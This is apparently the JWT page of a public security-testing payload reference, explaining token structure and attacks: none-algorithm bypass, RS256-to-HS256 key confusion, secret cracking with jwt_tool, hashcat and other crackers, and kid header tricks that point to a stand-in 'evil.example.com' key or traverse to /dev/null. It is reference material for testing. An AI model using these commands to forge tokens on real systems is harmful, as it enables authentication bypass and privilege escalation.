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Swissky 2a3d175620 GraphQL and JWT rework v0.1		2023-03-05 12:05:43 +01:00
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README.md	GraphQL and JWT rework v0.1	2023-03-05 12:05:43 +01:00

README.md

JWT - JSON Web Token

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.

Summary

Summary
Tools
JWT Format
- Header
- Payload
JWT Signature - None algorithm (CVE-2015-9235)
JWT Signature - RS256 to HS256 (CVE-2016-5431)
JWT Secret
- Encode and Decode JWT with the secret
- Break JWT secret
  - JWT tool
  - JWT cracker
  - JWT pwn
  - Hashcat
JWT Kid Claim Misuse
References

Tools

JWT Format

JSON Web Token : Base64(Header).Base64(Data).Base64(Signature)

Example : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY

Where we can split it into 3 components separated by a dot.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9        # header
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ        # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature

Header

Registered header parameter names defined in JSON Web Signature (JWS) RFC. The most basic JWT header is the following JSON.

{
    "typ": "JWT",
    "alg": "HS256"
}

Other parameters are registered in the RFC.

Parameter	Definition	Description
alg	Algorithm	Identifies the cryptographic algorithm used to secure the JWS
jku	JWK Set URL	Refers to a resource for a set of JSON-encoded public keys
jwk	JSON Web Key	The public key used to digitally sign the JWS
kid	Key ID	The key used to secure the JWS
x5u	X.509 URL	URL for the X.509 public key certificate or certificate chain
x5c	X.509 Certificate Chain	X.509 public key certificate or certificate chain in PEM-encoded used to digitally sign the JWS
x5t	X.509 Certificate SHA-1 Thumbprint)	Base64 url-encoded SHA-1 thumbprint (digest) of the DER encoding of the X.509 certificate
x5t#S256	X.509 Certificate SHA-256 Thumbprint	Base64 url-encoded SHA-256 thumbprint (digest) of the DER encoding of the X.509 certificate
typ	Type	Media Type. Usually `JWT`
cty	Content Type	This header parameter is not recommended to use
crit	Critical	Extensions and/or JWA are being used

Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).

`alg` Param Value	Digital Signature or MAC Algorithm	Requirements
HS256	HMAC using SHA-256	Required
HS384	HMAC using SHA-384	Optional
HS512	HMAC using SHA-512	Optional
RS256	RSASSA-PKCS1-v1_5 using SHA-256	Recommended
RS384	RSASSA-PKCS1-v1_5 using SHA-384	Optional
RS512	RSASSA-PKCS1-v1_5 using SHA-512	Optional
ES256	ECDSA using P-256 and SHA-256	Recommended
ES384	ECDSA using P-384 and SHA-384	Optional
ES512	ECDSA using P-521 and SHA-512	Optional
PS256	RSASSA-PSS using SHA-256 and MGF1 with SHA-256	Optional
PS384	RSASSA-PSS using SHA-384 and MGF1 with SHA-384	Optional
PS512	RSASSA-PSS using SHA-512 and MGF1 with SHA-512	Optional
none	No digital signature or MAC performed	Required

Payload

{
    "sub":"1234567890",
    "name":"Amazing Haxx0r",
    "exp":"1466270722",
    "admin":true
}

Claims are the predefined keys and their values:

iss: issuer of the token
exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
iat: The time the JWT was issued. Can be used to determine the age of the JWT
nbf: "not before" is a future time when the token will become active.
jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
sub: subject of the token (rarely used)
aud: audience of the token (also rarely used)

JWT Encoder – Decoder: http://jsonwebtoken.io

JWT Claims

IANA's JSON Web Token Claims

JWT Signature - None algorithm (CVE-2015-9235)

JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.

None algorithm variants:

none
None
NONE
nOnE

To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.

However, this won't work unless you remove the signature

Alternatively you can modify an existing JWT (be careful with the expiration time)

import jwt

jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
decodedToken = jwt.decode(jwtToken, verify=False)  					

# decode the token before encoding with type 'None'
noneEncoded 	= jwt.encode(decodedToken, key='', algorithm=None)

print(noneEncoded.decode())

JWT Signature - RS256 to HS256 (CVE-2016-5431)

Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.

The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

⚠️ This behavior is fixed in the python library and will return this error jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.. You need to install the following version: pip install pyjwt==0.4.3.

Here are the steps to edit an RS256 JWT token into an HS256

Convert our public key (key.pem) into HEX with this command.

$ cat key.pem | xxd -p | tr -d "\\n"
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a

Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.

$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a

(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0

Convert signature (Hex to "base64 URL")

$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"

Add signature to edited payload

[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA

JWT Secret

To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.

Encode and Decode JWT with the secret

Using pyjwt: pip install pyjwt

import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
jwt.decode(encoded, 'secret', algorithms=['HS256'])

Break JWT secret

Useful list of 3502 public-available JWT: wallarm/jwt-secrets/jwt.secrets.list, including your_jwt_secret, change_this_super_secret_random_string, etc.

JWT tool

First, bruteforce the "secret" key used to compute the signature using ticarpi/jwt_tool

python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C

Then edit the field inside the JSON Web Token.

Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = 1234567890
[2] role = admin
[3] iat = 1516239022
[0] Continue to next step

Please select a field number (or 0 to Continue):
> 0

Finally, finish the token by signing it with the previously retrieved "secret" key.

Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file

Please select an option from above (1-4):
> 1

Please enter the known key:
> secret

Please enter the key length:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1

Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic

Recon: python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
Scanning: python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb
Exploitation: python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
Fuzzing: python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt
Review: python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin

JWT cracker

git clone https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Secret is "Sn1f"

jwt-pwn

git clone https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqd3QiOiJwd24ifQ.4pOAm1W4SHUoOgSrc8D-J1YqLEv9ypAApz27nfYP5L4" -t 10 -w jwt.secrets.list
[#] KEY FOUND: 1234

Hashcat

Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - src

/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret

JWT Kid Claim Misuse

The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.

Example #1 : Local file

{
"alg": "HS256",
"typ": "JWT",
"kid": "/root/res/keys/secret.key"
}

Example #2 : Remote file

{
    "alg":"RS256",
    "typ":"JWT",
    "kid":"http://localhost:7070/privKey.key"
}

The content of the file specified in the kid header will be used to generate the signature.

// Example for HS256
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  your-256-bit-secret-from-secret.key
)

The common ways to misuse the kid header:

Get the key content to change the payload

Change the key path to force your own

>>> jwt.encode(
...     {"some": "payload"},
...     "secret",
...     algorithm="HS256",
...     headers={"kid": "http://evil.example.com/custom.key"},
... )

Change the key path to a file with a predictable content.

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"

Modify the kid header to attempt SQL and Command Injections

README.md Unescape Escape